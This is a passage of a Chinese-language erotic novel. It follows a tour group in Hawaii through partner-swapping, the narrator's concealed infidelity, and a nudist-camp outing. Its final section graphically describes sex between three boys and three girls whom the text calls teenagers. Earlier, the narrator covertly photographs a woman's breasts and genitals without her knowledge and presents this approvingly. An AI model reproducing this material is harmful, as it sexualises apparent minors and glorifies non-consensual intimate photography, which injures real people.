  我下盘前后摆动,阴茎自然就在屁眼里一进一退,起初龟头好像被她在里面用股力量啜住一般,抽出来和插进去都与直肠壁来一顿磨擦的抗争,颇费一点儿劲,谁知越插就越轻松,还有一些润滑的感觉,渐渐发现原来她直肠壁会分泌出一种滑潺潺的黏液,虽比不上阴道里的淫水那幺多、那幺滑,但却起了润滑剂的作用,缓沖了阴茎与直肠的磨擦力,令我抽送的频率可以越来越快。

  阿桃就是属于这种可遇不可求的上等货色,她不单有一个『重门迭户』的肥胀阴户,还有一个鲜嫩的紧窄屁眼,直肠分泌出的潺液令到阴茎如虎添翼,在里面可以顺畅地横沖直撞,如入无人之境。阿郎阴茎在隔壁抽送着,硬朗的龟头棱肉不止将阴道撑得鼓胀,还隔着中间的薄皮压迫过来,进退间令直肠壁也时凹时凸,增加了我抽送时的磨擦快感,甚至可以察觉到我俩的龟头,甚幺时候各走各路、甚幺时候插身而过,比单一的抽送又添多了另一番情趣。

  阿桃默默地捱受着前后受敌的双重刺激,不一会就香汗淋漓,上身一下子抬高,一下子俯低,像在享受,又像在挣扎,一时间, 见两条胀得发红的阴茎,分别在她前后两个洞穴中进进退退,不停抽出挺入,令人眼花撩乱。夹在中间的阿桃终于给弄得忍不住了,上气不接下气地喊出声来:「噢……哎哎……爽……爽得命都飞走了……两个一起来……试过才知……才知这幺美……喔……涨死人罗……小 好舒服呀……屁股又酥又麻……噢……快被你们撑爆了……哎哎……受不来了……哇……从未试过这幺爽……死了死了……噢……我又要丢了!」

  她骤然昂起头、挺直腰板,连打了几个几乎把脑袋也能甩脱的大哆嗦,身体颤抖得花枝乱摇,牙齿上下打叩,发出『格格』的敲击声清晰可闻,胸前一对大奶子随着身躯的摇摆而跟随住左晃右蕩,十只指头胡乱地在阿郎胸口的皮肉上又抓又捏,不能自制得像发了疯,神情畅快得死去活来。

  我和阿郎眼观她给 得如痴如醉,传进耳中的淫声秽语又似鼓舞着士气,令斗志越加激昂,两根阴茎插得又快又狠,有时你出我入、你入我出地轮番上阵,有时又齐抽齐送,共同进退,我和阿郎都不约而同地分别紧握着她一对乳房和屁股皮肉来借力,令她变得僵着身子欲避无从, 能一边杀猪般地大喊大叫,一边无助地接受着前无去路、后有追兵的双重抽送,一时间高潮迭起、颤抖连连。

  淫水像崩了缺口的堤坝河水般汹涌而出,受到阿郎撞击的动作而溅得连我的阴茎也沾上了,再随着阴茎的出入被带进肛门里,屁眼里变得更加湿滑,令我抽送得更加得心应手。我扶着她两团臀肉,全神贯注在中间的屁眼上,一古脑 管沖锋陷阵,不停把阴茎机械性地插入抽出,尽情追求着由阴茎传上大脑越来越强烈的美快感觉,此刻世界上不可能有任何力量能够阻止我继续抽送而停顿下来。

  酥麻的感觉由龟头传染至整枝阴茎,一直积累至它发出爆炸性的抽搐,全身神经线也跟随着抽搐而同时跳动,一股热流从颤抖着的身体深处飞奔而出,用难以想像的惊人速度和劲度,喷射进阿桃饥渴的肉体深处。一股刚射完,下一股随即接踵而来,连续七、八股,一口气将我身内的精华,点滴不留地全部搬进她的躯体,阿桃会阴发出的痉挛,令肛门也产生抽搐,一开一合地含啜着正在射精的阴茎,彷佛誓要将尿道里残留的一点一滴精液也压榨出来。

  体力像跟随着射出的精液离我而去,刚才还雄纠纠的鸡巴,一但吐清了滑潺的精液,顿变得垂头丧气,身体也像 了气的皮球,软绵绵地趴伏在阿桃的背脊上,气喘不休地和她一起做着深呼吸。我感觉到逐渐缩小的阴茎在她屁眼里慢慢滑出,一分一毫地向外挪动,直至『噗』的一声,龟头才与肛门脱离甩掉出来,红卜卜的龟头尖端还挂着三两滴白色的精液,马眼与屁眼之间藕断丝连地拉出一条由精液构成的黏丝,直到阴茎晃摆了好几下才依依不舍地断开。

  我待呼吸喘顺了以后,抽身离开阿桃妙不可言的肉体,转身临下床时在她滑溜溜的肥屁股上爱怜地轻力打了一下说:「我要走了,你们继续好好地玩吧!」她缩了缩腰,屁眼一时还合不拢,露出一个浆满精液的小孔,肛门口一块嫩皮给掀翻了出外,红红紫紫,像张小嘴一样开开合合,慢慢向内卷缩进去。

  我跳下地面,准备走进浴室随便沖洗一下鸡巴,好不留痕迹地向老婆交人,回头望时, 见阿郎又再将阴茎在她阴户挺动,继续未完结的沖刺,阿桃亦好像抖顺气,恢复了点体力,抬动屁股随着他的动作上下迎送,『辟啪!辟啪!』的肌肤碰撞声与『吱唧!吱唧!』的淫水磨擦声,又再在房间回响,两条肉虫如胶似漆地继续干着男欢女爱的玩意,务求攀上肉欲世界的巅峰。

  我也不敢花太多时间在浴室里洗个澡, 是匆匆忙忙用花 将生殖器沖洗乾净,就赶忙出房拿起衣服穿上,怕耽搁得太久,令阿珍生疑去阿郎房找我时,那就甚幺馅都露尽了。

  出到房外,阿郎与阿桃这时又换过了招式,阿桃站在地面,上身伏在床沿,两腿叉开,屁股高翘,阿郎则站在后面干着她那仍然储存着我大量精液的屁眼,虽然阿郎的阴茎又长又粗,但由于屁眼先前让我干弄了好一回,已经可以从容地将它接纳了,加上阴茎沾满的淫水与肛门内的精液混合一起,更起润滑作用,眼前 见阿郎阴茎抽送得挥 自如,阿桃屁眼吞吐得水声潺潺。

  阿桃虽然后门应接不暇,但还不忘对前门有所照顾,伸手抄进自己腿缝,在阴户上不停地『自摸』,又或按在阴蒂上压揉,淫浪得像只永远 不饱的馋嘴猛虎,快活得又像只在大快朵颐中的贪食野狼。

  我一边穿衣,一边欣赏着眼前赏心悦目的人类交媾,狼吞虎 的兽性发 ,也不等看到阿郎射精完场,一穿好衣服便推开门,急急脚朝阿范房间走去。

  把阿珍接回自己房间,才关上门,她就迫不及待地把我推到床上,扯着我的裤子就往下褪,刚把我裤子扯掉,自己随即也把下半身脱光,气喘呼呼地就骑了上来, 见她脸上红粉绯绯、春情洋溢、醉眼如丝,从未见过她这样的急色样,顿时把我吓得吃了一惊!我刚刚才把气力使完在阿桃身上,一时间那能回得过气来?阴茎软绵绵地躲在胯下,尽管阿珍主动地把屁股压在上面前后左右地磨,鸡巴还是像软皮蛇般缩作一团,垂头丧气地毫无反应。

  我边向她探问突然发情的因由,边用手来做代替品,一伸进她大腿尽头,就在阴户上磨擦,祈望籍此来江湖救急,先替她止止痒,给点时间鸡巴重振雄风。她享受着我的抚摸,上气不接下气地回答:「噢……怎幺了?……阿林,为啥硬不起来了?……哎……别在这个时候……才捉弄我喔!……都是阿范不好,脚板给他揉了不一会……也不知是按中了甚幺穴道……噢……一股热气直沖小腹……顿时就很想、很想……你又不在身边……熬得我真难受……哎呀!求你快快硬起来喔……人家现在真的巴不得你马上就插进来耶!……」

  阴户热得烫手,流出来的淫水倾刻就沾湿了我整个手掌,我暗暗惊叹她脚板的发情穴位一经挑逗,竟会发挥出如此大的魔力!在 目结舌之余,亦不禁改变方式,由抚摸阴户换成用手指在阴道捅插,虽然不及把阴茎 进去来得充实,但总好过见她欲火焚身而爱莫能助。她也退而求其次,反正有东西在阴道里出出入入消痒,总比空空洞洞的感觉好,就保持着半蹲半坐的姿势,除了任凭我以手指代劳,在她阴道抽插一番外,还死心不息地握着我的阴茎上下套捋,企图把沉睡的小弟弟唤醒,用五指功将软面团搓成硬钢条。

  可能是她发出的淫浪吭声真的有催情作用,又可能是受到她不停套捋的刺激关系,渐渐奇迹出现了,软得令我深感愧疚的阴茎,居然有了一点起死回生的迹象,慢慢变得软中带硬,虽然仍处半软状态,但已够增强我的信心。我把在阴道捅插着的手指拔出来,改而紧箍阴茎根部,令阴茎充血胀鼓成彷似勃起状态,坚硬程度又比前增强一点,尤其是龟头,澎涨得红卜卜、硬梆梆,与真正勃起时的状况相比,还有过之而无不及。

  阿珍此刻也感觉到阴户正受到一根硬挺的圆柱形肉棍在抵触的压力,脸上不禁露出喜出望外的神情,赶忙筛动屁股,用小阴唇在龟头棱肉上揩擦了几下,随即降身坐落……『噢!』发自内心的一道满足呼声,忘形地沖口而出,她双手按着自己膝盖,下身卖力地蹲下抬上,饥肠碌碌的阴户马上就把阴茎吞吐起来。

  我 顾握紧阴茎根部,令它保持住充血的硬挺状态,无暇再去兼顾其他,由得阿珍自助式地尽情发 ,心里却在暗暗祈祷:老天,但愿她的高潮快快到来,在焚身欲火扑灭之后把我放过,好结束这场有口难言的『强奸』闹剧。但心里又生怕半途中阴茎突然再度软化,令场面狼狈得不可收拾, 好在祈祷中又添多一句:老天,保佑我的小弟弟势不低头,能一直尽职地坚守到完场。

  不知是祈祷真的发挥了效力,还是阴茎受到阴道的不断磨擦刺激,它果然越勃越硬,我偷偷松开箍住根部的手指,它仍然能在阴道里穿插自如,我的耽心才渐渐平伏下来。阿珍这时也渐入佳景:两腿微颤、咬牙切齿、香汗淋漓,气喘越来越急,发软的双腿似乎不堪承受她的体重,大有山雨欲来之势。

  我见状便撑高上半身,将她拦腰一抱,顺势再往前一推,将她压在身下,由『女权至上』变成『天地男儿』,两人上半身仍然相拥,下半身却在离离合合,我由被动变成主动,用尽全力地挥舞着阴茎,在她阴户疯狂地抽插起来。

  阿珍已经接近高潮边缘,在我一轮势如破竹的沖刺下,顿时就被推上高潮巅峰,四肢像八爪鱼般把我缠住,发出的强烈颤抖连我的身躯也受到震撼,淫液像关不拢的水龙头般长流不息,沾得我小腹也湿腻一片,叫床声连绵不绝:「哎!喔喔……好老公……亲哥哥……干得我美死了……喔喔……我快要丢了……再多几下就来了……干快点……噢……来了来了…… 出来喽……」

  我身体给她用四肢缠住,肉紧地搂抱着,箍得几乎气也抖不过来,好不容易等她打完了一连串快乐的哆嗦,才软软地大字形摊开,久不久发出一下抽搐,喘着粗气等待我向她作完场前的灌溉。

  我的精液已经给阿桃掏得一乾二净,虽然努力地在她阴户再三用劲抽送,还是没有想射精的感觉,我见势色不对,为了掩饰偷吃过的痕迹,决定在她面前做出好戏。我将抽送速度越插越快,然后昂头闭目,张口发出『啊……啊……』活像高潮时的叫声,摆动身体假装打了几个冷颤,做出射精的样子,幸亏阿珍流出的淫水多得连床单都湿透了,也分不清到底那些是谁的分泌。我慢慢软着身子趴在她胸口,深情地望着她眼睛说:「小甜心,舒服吗?」她『嗯!』地回答了一声,捧着我脑袋就嘴对嘴地亲吻起来。

  我嘴巴在接吻,大脑心不在焉地在想:肯定是那个死阿范,有意出这招来报复我!明知我去阿桃处偷吃,却故意利用按摩脚板来撩起阿珍的欲火,想我交不出功课而出丑,幸而我的临场演技,将老婆瞒过去了。但是回心想想也真诙谐,从来在床上 有女人为了讨好对方而假装有高潮的,料不到今天我也要假装射精来掩饰真相,真个是世界轮流转啊!

  

  

  ——————————————————————————–

  (六)

  搂抱着阿珍迷迷糊糊进入梦乡,不知不觉日出东方,又到了假期的第三天。梳洗完毕到大堂吃了早餐后集合,冒着漫天彩霞的斑烂晨曦,一行人继续旅行团今天的节目行程:向夏威夷列屿的第二大岛 猫儿岛进发。

  登上快艇,红日已经高升,一路上碧波银浪、蓝天白云,快艇载着我们团友数人,箭一样向前方飞去。航行中,阿桃满面春风,细心地向团友们讲解在天体营内要注意的事项,阿郎则懒洋洋地靠在后排座椅上闭目养神,看来昨晚又在阿桃身上消耗了不少精力。三只小猫兴致勃勃地倚在船边看海景,每当有穿着比基尼泳衣洋妞的游艇从旁驶过时,便一齐狂吹口哨,挥手招呼,乐得手舞足蹈。阿范虽然跟阿杏在閑话家常,但仍不时两目四游,不是在阿桃丰满的身躯上扫来扫去,就是偷偷瞅过来阿珍这里,将目光注视在她露出裙外的两条修长美腿。

  我怕阿珍再晕船浪,故意不断逗她说话,好引开她的注意力,但每当偶尔和阿桃充满诱惑的磁性眼光一接触,自己反会晕上一晕,尤其是想起昨天与她在床上交锋的颠鸾倒凤情形,心儿就扑扑乱跳,加上坐在前面的阿杏,白如羊脂的两团臀肉由于坐姿而从短短的热裤管挤凸出外,挺鼓在我眼前,显得又圆又滑,更加使我意马心猿, 好将手在阿珍大腿面抚来抚去望梅止渴。

  三小时的航程,大伙儿打打闹闹、谈天说地,时间不知不觉就很快流逝,猫儿岛历历在望,漂渺的人间仙境终于出现在我们眼前。林木苍翠的青山下连绵着无际的淡黄沙滩,层层波涛在岸边 石上击起雪一样的浪花,椰树林里散落着零星的楼房别墅,怒放的大红花在灌木丛中盛开,点缀得万绿丛中有无数朵嫣红,水清如洌、沙细如尘,梦境一样的猫儿岛美丽得像座海市蜃楼。

  船儿在一栋两层高的纯白屋宇前慢慢泊近码头,我们登上了岸,横过一条弯弯曲曲的自行车径后,就进入了天体营舍的范围。阿桃在门口向我们宣布:「由于天体营属私人会所,我必须先到柜面替你们办理临时会员的登记手续,你们可以先行到更衣室去宽衣,一会儿再在屋前的沙滩集合。」

  大伙儿兜了一个圈,仍找不到男女更衣室,正在摸不着头脑之际,阿桃办完手续走回来了:「哎唷,这里就是啦,还分甚幺男女?到头来出去沙滩活动时,还不是人人身上都赤溜溜?别害羞了,把衣服都除下来吧!」说完,见个个还是呆站着不动,便以身作则,先来个带头作用,将衣服逐一脱下来。

  阿桃不知是带团来这里来得多,脱惯了,还是觉得一身肉体已对我们几个男人不再神秘,三两下手势便脱得一丝不挂,大方地把衣物锁到储物柜里,然后回过头来瞪着我们一班人瞧。阿杏与阿桃由于从没试过当着这幺大群人面前脱得赤条条,仍在你眼望我眼地犹豫不决,倒是三只小猫猫比较开通,本来均怔怔地 顾对着裸露出丰满身体的阿桃行注目礼,此刻却好像受到她感染般,也纷纷解除身上束缚,一齐回归大自然。三人刚锁好衣物,就随手从架子上取出一个沙滩排球,围绕在阿桃身边,蜂拥着她往外面的沙滩奔去,阿郎护花心切,当然也不甘后人地入乡随俗,马上天体一度,跟在他们后头追上。

  屋子里此时 剩下我和阿范两对夫妇,尤其是两位女士,虽然遮遮掩掩地脱得 剩乳罩内裤,但到最后关头,还是不好意思再移走这两片障碍,我向阿范使了个眼色,便分别向自己妻子做开导工作。由于我俩上次与阿桃盘肠大战时已经试过袒呈相对,自然能从容地各自把身上衣服脱光而毫不感到难为情,但在另一个男人眼前,要妻子把她最神密之处的遮挡物褪下,却非费上一点功夫不可。

  我一边在阿珍耳旁循循善诱,一边半拉半扯地解掉她胸前的乳罩,两个又圆又滑的乳房,顿时便暴露在光天化日之下,她带点羞涩地赶忙用双臂护住,想不到这正好给我下手将她剥光的机会,我揪着她内裤两侧裤头,蹲低身往下一扯,她立即便变得身无寸缕,小腹下一撮乌润得发亮的柔嫩阴毛,衬托着满身雪白肌肤,把胴体相映得更形冰清玉洁,骄人身段顿时表露无遗。

  搞定阿珍后便扭头向阿范望去,他妻子此刻也已经被他用同一方法剥得全身赤裸, 是害羞地背转身子,忸忸怩怩地不敢正面朝向我,唯一能看到的是她窈窕的背影,但修长的小腿、充满弹性的屁股臀肉、平坦而顺滑的背脊,已经令我暗地里 了一口口水,曲线玲珑的躯干,像尊白玉雕成的裸女塑像,美得使我顿感呼吸加速、心如鹿撞,未曾真 已销魂。啊!多幺盼望她现在把身转过来,能让我彻底地一窥全豹,那才算得是不枉此行。

  阿珍情绪渐渐适应下来,加上面前两个男人都跟她有过合体缘,别说身体,连最秘密的地方也让对方干弄过,还有甚幺东西可以隐藏?想通了,便显得大方自然,也不再假装矜持,走到架子上取了只塑胶飞碟,开心地拖着我的手,准备到沙滩上和阿桃他们一同嬉戏。阿杏当然不知道她老公与我们夫妻之间的糊涂关系,但是眼见阿珍也显得如此开放,心情不免受到影响,变得又放松一些,跑去架子上取了个彩色吹气皮球,遮挡着大腿交界,四人一起向沙滩走去。

  一路上,我与阿范都在左顾右盼,希望能瞧到一些惹火身材的俏洋妞,好让眼睛吃吃冰琪琳,可惜大失所望,躺在沙滩椅上晒太阳的,不是皮皱肉堕的老太婆,就是胖得不忍卒睹的中年妇人,好不容易遇见一个有点看头的,停下来偷偷瞄一下,却见她一对乳房虽大,但像个皮袋子,几乎能垂到肚脐上去了,阴户总算是肥肥胀胀,上面长满金黄色的阴毛,一直延绵到阴阜,小阴唇却太深色了,有点像两片炒焦了的回锅肉,令人当场食欲大减。

  不远处便见到阿桃、阿郎和三只小猫在打沙滩排球,几人你争我夺、蹦来跳去,活跃万分,阿桃一双乳房相比起刚才那些洋妞来说,实在胜多了,随着她身体的跳动,活像有两个弹球在胸口上下抛蕩,起跌得波涛汹涌、引人入胜。

  别看三只小猫 得十多岁,可能是他们平常爱好运动的关系,身体强壮、肌肉扎实,充满着年轻人的勃勃朝气,不知是否活色生香的阿桃,不断在他们眼前散发出诱人的女性魅力缘故,胯下阴茎都呈现出半硬状态,虽然还没完全勃起,却已显得既长且粗,整个龟头从包皮中翻露出外,棱肉嫩滑、颜色鲜红,每一下蹦跳,都令得阴茎在两腿间东抛西甩,难怪阿桃好几球都打空了,莫非是眼前三条乱挥乱舞的肉棍令她分心?

  他们见我们走来,高兴地向我们招手,呼唤我们一起加入战团,阿范和阿珍丢下我与阿杏,一边挥手回应,一边向他们跑去,阿杏却依然捧着彩球不放,紧贴在小腹下遮挡着阴部婀娜而行,但胸前一对尖尖的竹笋形乳房,已经使我一路目不斜视,用专注的眼光在她两粒红莲子上面流连。阿杏不好意思要我陪她,扭头对我说:「阿林,你也过去跟他们一齐玩吧!我到那边的礁石上坐坐,一旁看你们玩好了。」我知道她还没习惯将自己的身体暴露在众目睽睽之下,也不勉她所难,便回答她道:「呵,对打排球我也不大感兴趣,反正我带来了照相机,不如替你在海边拍些照片也好。」

  她坐在礁石上摆了好几个姿势让我拍照,但遗憾的是,要害的部位总被那该死的彩球挡住,我始终看不到念念不忘最想窥探的神秘地方,我替她拍了一张全身照,到了第二张时,我偷偷将镜头拉近,焦点放在她高耸挺立的乳房上,甚至有两三张还将粉红色的乳头来个大特写,打算将来作为我的私人珍藏。阿杏不疑有诈,频频摆出不同的姿态,她从未想过,无论摆出甚幺姿势,笑得多幺璀璨,在照片上都给我悄悄留下了她乳房不同角度的写真。

  拍了不一会,我走过去她跟前,一边对她说:「每张照片都有这个彩球,太雷同了,试试拍些没球的吧!」一边伸手把彩球强行夺了过来。噢,老天!在这一煞那,忽地眼前一亮,我终于清清楚楚地见到了她大腿夹缝尽头的真正面貌,居然是我最喜爱、最渴求的无毛『白虎』!光秃秃的阴户一毛不生,白净净、滑溜溜,胀卜卜, 露出两片红嫩的小阴唇,完全是我经常在梦境中见到的一模一样,踏破铁鞋无觅处,原来梦寐以求的人间珍品就在咫尺眼前!

  我 顾锺情万分地注视着这可遇不可求的极品,呆着僵硬的身子垂涎欲滴,灵魂简直飞出了窍,难以自控得几乎想就此扑上前去,将头埋在上面舔过没完没了。直到阿杏『扑嗤』地笑了一声,才将我惊醒,跟随着她的视线低头朝自己小腹下望去,始发觉忘形之下丑态毕露:不知何时,阴茎也像我身子一样,不由自主地变得又僵又硬,挺着红通通的龟头在不停点头哈腰,像条昂头吐舌的『饭铲头』毒蛇,千方百计想找个适合自己的洞穴往内钻。

  这回轮到我窘得要捧着那彩球遮挡在小腹下了,可是情况又与她不同,女人那地方平平坦坦,一遮就可遮尽,男人勃起来时却前挺着一根硬梆梆的肉棍,用球形的物品来掩盖,左遮右挡都总会滑到另一边,真恨不得能把它戳进球里去!结果挪来挪去,状如怒蛙的阴茎始终逃不过阿杏的眼 。

  我无计可施,乾脆把彩球也扔掉,就让阴茎在她面前勃过够吧!她望着我的阴茎,笑得越来越大声,我见她不忤反喜,狼狈心情渐渐放松,趁她笑得前仰后翻的时候,拿起相机对准她白璧无瑕的阴户,一口气拍了十几张大特写,有四、五张甚至是在她张开大腿,连阴户也微微掰开时摄的,竟然可隐约瞧见娇嫩的阴道口。哈哈,真妙!料不到我的私人珍藏,无意中又增添了更精彩的新内容。

  和她一起在海滩随处逛,浪涛前、花丛中,到处都留下她的倩影。可能慢慢适应了天体营里人人都裸体的环境吧,注意力不再是第一时间逗留在对方的生殖器上,我勃得剑拔弩张的阴茎,在不知不觉间已经软化了下来,阿杏也逐渐显得没方才那幺拘谨,和我有说有笑地谈天说地,我也乘机用手挽着她的纤腰与她并肩漫步,还把手越摸越下,最后停留在她滑不溜手的屁股上。

  回到团友们聚集的地方,见 剩阿范、阿郎、阿珍和阿桃四人在抛飞碟,三只小猫却不知所蹤,阿杏跑到老公身边一齐玩耍,我就向阿郎问道:「咦,怎幺不见了几只猫猫了?刚才不是正跟你们一起打排球的吗?」阿郎用手指了指我背后不远处:「嘿嘿,他们结识了新朋友,早把我们这群团友忘记了!看,正在那边玩得兴高彩烈哩!」我扭头顺着他的指尖望过去,果然见到三个十多岁的妙龄少女,正与他们嘻嘻哈哈地在玩得热火朝天,心忖:这三只小猫真不简单,转眼间工夫,就有妞给他们泡上了。青春,果然是充满魅力!

  梦猫见我走了过去,礼貌地把身边三个新结识的小妞逐一向我介绍:一个叫哈娜、一个叫秀子,另一个叫姬丝,她们也热情地蹦蹦跳跳跑到我身边,用充满着有如灿烂阳光一样的笑容,异口同声地向我打招呼:「阿罗哈!」我知道这是一句夏威夷土话,含有『你好、欢迎』的意思,便也回应道:「嗨!」。

  他们六人拿着排球继续互相嬉戏,我则站在旁边偷偷把三个妞儿仔细打量:哈娜一看就知道是夏威夷土着的后 ,大眼睛、厚嘴唇、短头发,满身古铜健康肤色,乳房不算很大,但结实坚挺,阴阜上碣棕色的耻毛生成一个倒转三角形,下面的尖端直指阴户,像一个交通路牌的方向标志,指示着『由此路进』,脖子上戴着一个用各种花朵串成的小花环,典形的土生夏威夷小姑娘。

  秀子是东方人种,黄皮肤、黑眼睛,听名字相信是当地日本居民的后 ,乳房像两个白面做的肉包子,鼓胀得来又毫不夸张,大小恰好够用五只手指握拢,阴阜上稀稀落落地长有一小撮乌黑耻毛,柔软而顺滑,不太浓密,但很性感,两块小阴唇得天独厚地特别肥大,鲜红娇嫩地凸出大阴唇外面,令阴户看起来像一个刚刚成熟的水蜜桃,脖子上挂着一串用小贝壳穿成的项圈,加上两颗兔子门牙与笑起来脸腮上的浅浅酒凹,不免会叫人联想起她在床上的驯服温柔。

  姬丝金发碧眼,是一个如假包换的正宗洋妞,睫毛长直、头发弯曲,可能是经常晒日光浴的关系,身体的肌肤上留下两度清晰的乳罩和三角裤白印,阴阜肥胀饱满得隆高起来,上面一丛金黄色的耻毛经过刻意修饰,剪成一个心形图案,表示她这里充满着爱心、来者不拒,小阴唇呈粉红色泽,两片嫩皮夹在大阴唇中间, 肯露出皱摺的边缘部份,胸前两团肉球巨大而混圆,乳房和鼻尖上都有几粒浅啡色的雀斑,屁股肥大而弹力充沛,是一个十分理想的炮架子,很自然地让人想像到与她在床上打炮时的狂野奔放。

  我除了暗暗佩服小猫们泡妞的闪电速度之外,也不禁让三个小妞热情的开放程度而弄得瞠目结舌,这时刚好阿珍在那边挥手呼喊我回去一起玩,我顺水推舟地向他们说声『拜拜』便赶快离去,免得多了个外人在旁观而令他们大扫雅兴,不能放怀玩得尽情,同时想起丢下阿珍一个人已经很长时间了,不陪她游玩一下也实在说不过去,口里边回答「来了!来了!」边匆匆跑回老婆身边。

  六个人扔了一会飞碟,也有点累了,阿范见阿杏满身大汗,伴着她到椰树林里乘凉﹔阿郎抓起一个水泡,拖着阿桃往海边跑去,两人仍活力十足地在波涛起伏的浪花里弄潮﹔我携着阿珍去买了两罐冻可乐,边喝边在沙滩捡贝壳,遇上风景如画的背景时便拍几张照片,我们平时上班各有各忙,难得有此偷得浮生半日閑的渡假机会,两夫妻此刻能把手同游,轻松愉快得乐也融融。

  陶醉在卿卿我我的二人世界里,也算不出时间过了多久,忽然间见阿桃气急败坏地走过来对我说:「你们见过三只小猫吗?我寻遍了整个沙滩也不见他们的蹤影,别不会是偷偷溜去游泳吧!刚才盖来了几个大浪,真怕他们会出事。」我举目四望,先前他们在打排球的地方果然人迹杳然,不禁也替做领队的阿桃为他们的安全担心,阿桃接着又说:「阿林,不如你和阿郎再四处寻寻,那边有一处比较少人到的偏僻角落我还没找过,我与阿范去另一面,一会再在这里碰头。」

  我和阿郎朝着天体营最西面一个边缘地带走去,那里人烟罕至,丛林密布,相信找到他们的机会甚微,但亦姑且一试吧!想不到行得越近,就听到越清楚的人声,跟着又瞧见树丛里有人影在不断晃动,连忙三步赶着两步地跑过去,当一拨开遮挡着视线的矮树枝时,见到的场面,令我和阿郎当场目瞪口呆!

  

  

  ——————————————————————————–

  (七)

  眼前是天体营西面最末端的一个小海湾,沙滩呈弯弯的半月形,微微向内凹进去,从其他地方实在很难窥到内里风光,滩边对上是一大片棕 林,虽然环境优美、树影婆娑、鸟语花香,但岸边怪石嶙峋,位置又偏僻,并不适合滑浪、游泳等活动,难怪极少会有人到此一游。

  三只小猫倒会选地方,特意避开人烟绸密的主滩,偷偷带着三个小妞摸到这儿,当然有他们的好玩意了。放眼过去, 见六条赤裸的肉虫横七竖八地相互纠缠,正忘其所以地齐齐玩着令人看得脸红耳热的性爱游戏:

  梦猫上身倚在一棵鸡蛋花树的躯干,两手张开搁在横伸的丫枝上,下身向前演凸,硬梆梆的阴茎向前直挺,姿势像足一只在天上展翅翱翔着的苍茫之鹰。而姬丝则蹲在他胯前,一手握着阴茎的包皮在前后套捋,一手同时在轻搔着他的阴囊,小嘴就含着勃得又红又胀的龟头在不停吞吐,时而用两片嘴唇裹着龟头的棱肉卖劲地又吮又啜,时而伸出舌尖,在龟头四周津津有味地舔撩,甚至顺着阴茎的肉干来回扫动:从凹沟直扫到阴囊、又从阴囊扫回马眼,整根阴茎都沾满了她留下的唾沫,从我们这里望过去,也可见到水光闪闪。

  梦猫昂着脑袋,舒服得一边喘着粗气、一边发出呢喃的呻吟声:「噢……宝贝……真爽……你怎幺弄的?……舒服死了……再这幺下去,我可真要……真要忍不住全喷到你嘴里去了……」

  虽然他哼出的是华语,可姬丝似乎对这种『国际语言』的内容完全了解,吞吐的速度丝毫没有放慢,还仰高头,一边吞吐、一边用含情默默的眼光欣赏着他脸上欲仙欲死的表情,将含在口中那条越来越硬的阴茎,舔吮得更加起劲了。

  半蹲的姿势令她圆滑的屁股更形鼓胀,向后微翘演挺,像小狗摆动尾巴般地左扭右摇,似乎不耐烦地想赶走令它混身发痒的苍蝇,沾满淫水的两片小阴唇已经红胀得从股缝中凸露出外,微微颤抖着,发出晶莹耀眼的淫水反光,像朵饱含蜜液的怒放鲜花,迎候着进来采蜜的狂蜂浪蝶随时光临。

  我与阿郎对视了一眼,大家耸耸肩,不约而同地为姬丝的狂野而乍舌,亦为梦猫的艳福无边而羡慕不已。但还没来得及再回头去继续窥看,又被另一面的叫嚷声吸引过去了: 见秀子向前弓着腰,双手撑在岸边一块平滑的 石上,屁股高翘、大腿阔张,一头乌润的长发随着脑袋的左摇右摆而在空气中飞扬,口里尽情地喊出一声声抑扬顿挫的爱叫,一时急促而紧迫,像暴风中狂泻的雨点﹔一时悠长而轻快,又像微风在夏夜的轻拂……,但无论是唱快调或吭慢板,完全与伏在她背后不断沖刺着的豹猫抽送频率,配合得天衣无缝。

  豹猫真没起错名,他胸膛与秀子的背脊紧贴、小腹与她的屁股紧贴,双手抄前力握她两只乳房,乃至掌心与乳头亦紧贴,姿势就像一只正在荒原中高速驰骋着的猎食野豹,全身弯前弓起,充满劲力的腰部一伸一缩,带动着胯下壮硕的阴茎,从后一下接一下地在秀子的阴道里不停出入抽送。

  也该阿郎和我有眼福,秀子翘起的屁股刚好斜斜朝向我们这边,男女两副性器官交接的重要部位,便一目了然地尽入我们眼 。她两片粉红色的小阴唇被豹猫又粗又硬的阴茎往两旁撑得像个环形皮圈,紧紧地箍着阴茎躯干,随着阴茎的抽出插入而被拖得里外卷反, 能在阴茎鼓起的尿道下端空隙,才可一隐一现地窥见被填塞得饱胀的娇嫩阴道口,豹猫的每一下沖撞,都令阴道口的缝隙挤喷出一股淫水,有如间歇性喷泉一样射向他的阴囊,将他胯下的一大丛耻毛和不停前后摇晃着的阴囊,都同样弄得黏 的淫水淋漓。

  不知是否受到秀子不断发出催情爱叫的影响,哈娜也不甘示弱,在离他们一对交颈鸳鸯不远的地方,也哼出一句句的销魂呼声。这种哼叫,似垂死病人的呻吟、又似胜利者的欢呼,时高时低、时长时短,似梦呓者发出的毫无意义喃喃片语,又似能令人完全明了的心底呼声,正如我和阿郎根本听不出她在嚷些甚幺,但却明了她此刻所表达的意思,是肉体上正领受着美快感觉的沖击。

  夜猫坐在沙滩乾净洁白的幼沙上,两脚前伸,哈娜则面对面骑在他大腿面,双手环抱着他脖子,挺动着屁股像骑马一样巅颇起伏,胀卜卜的阴户紧套着他绕满青筋的大鸡巴,正上下不停地吞吞吐吐。夜猫虽然温香软玉抱满怀,却乐得不用自己费神,以逸代劳地 管静静坐着来消受美人恩,虽然如此,他的双手仍然不曾閑着,借托着她屁股的姿势来个顺手牵羊。

  他用兜在哈娜屁股下的十只手指,捏着她两片小阴唇左右拉开,令阴户掰得阔阔的,阴道口自然也随着张阔,除了让阴茎出入更显顺畅之余,还能腾出两只手指,捻着她挺凸出外的小阴蒂来搓拧,直把哈娜干弄得混体酥软,身子一边起起落落、一边颤抖不堪,几乎忍受不住而摔倒在他胸前。

  哈娜这样大幅度地将娇躯上下挺耸,胸前一对乳房自然也跟随摇摆抛蕩,奶子在夜猫面前的晃动,不单令他眼花撩乱,而且乳头也恰好在鼻尖前磨来磨去,他被逗得忍捺不住,张嘴一口就含了上去,轮流在左右两粒乳头上面亲,有时衔着来使劲吮啜,有时又伸出舌尖在乳头上舐舔。

  本来已干得爽快莫名的哈娜,此刻被他的上下夹攻弄得更加难以自持,除了将屁股升降的速度加快外,脑袋更甩得像个二郎鼓,浅棕色的皮肤上布满了一粒粒黄豆大的汗珠,阴户 出来的大量淫水如江河缺堤,飞流直下,把两人的胯缝沾得白花花的湿濡一片,连两人的阴毛都给黏到一起了。

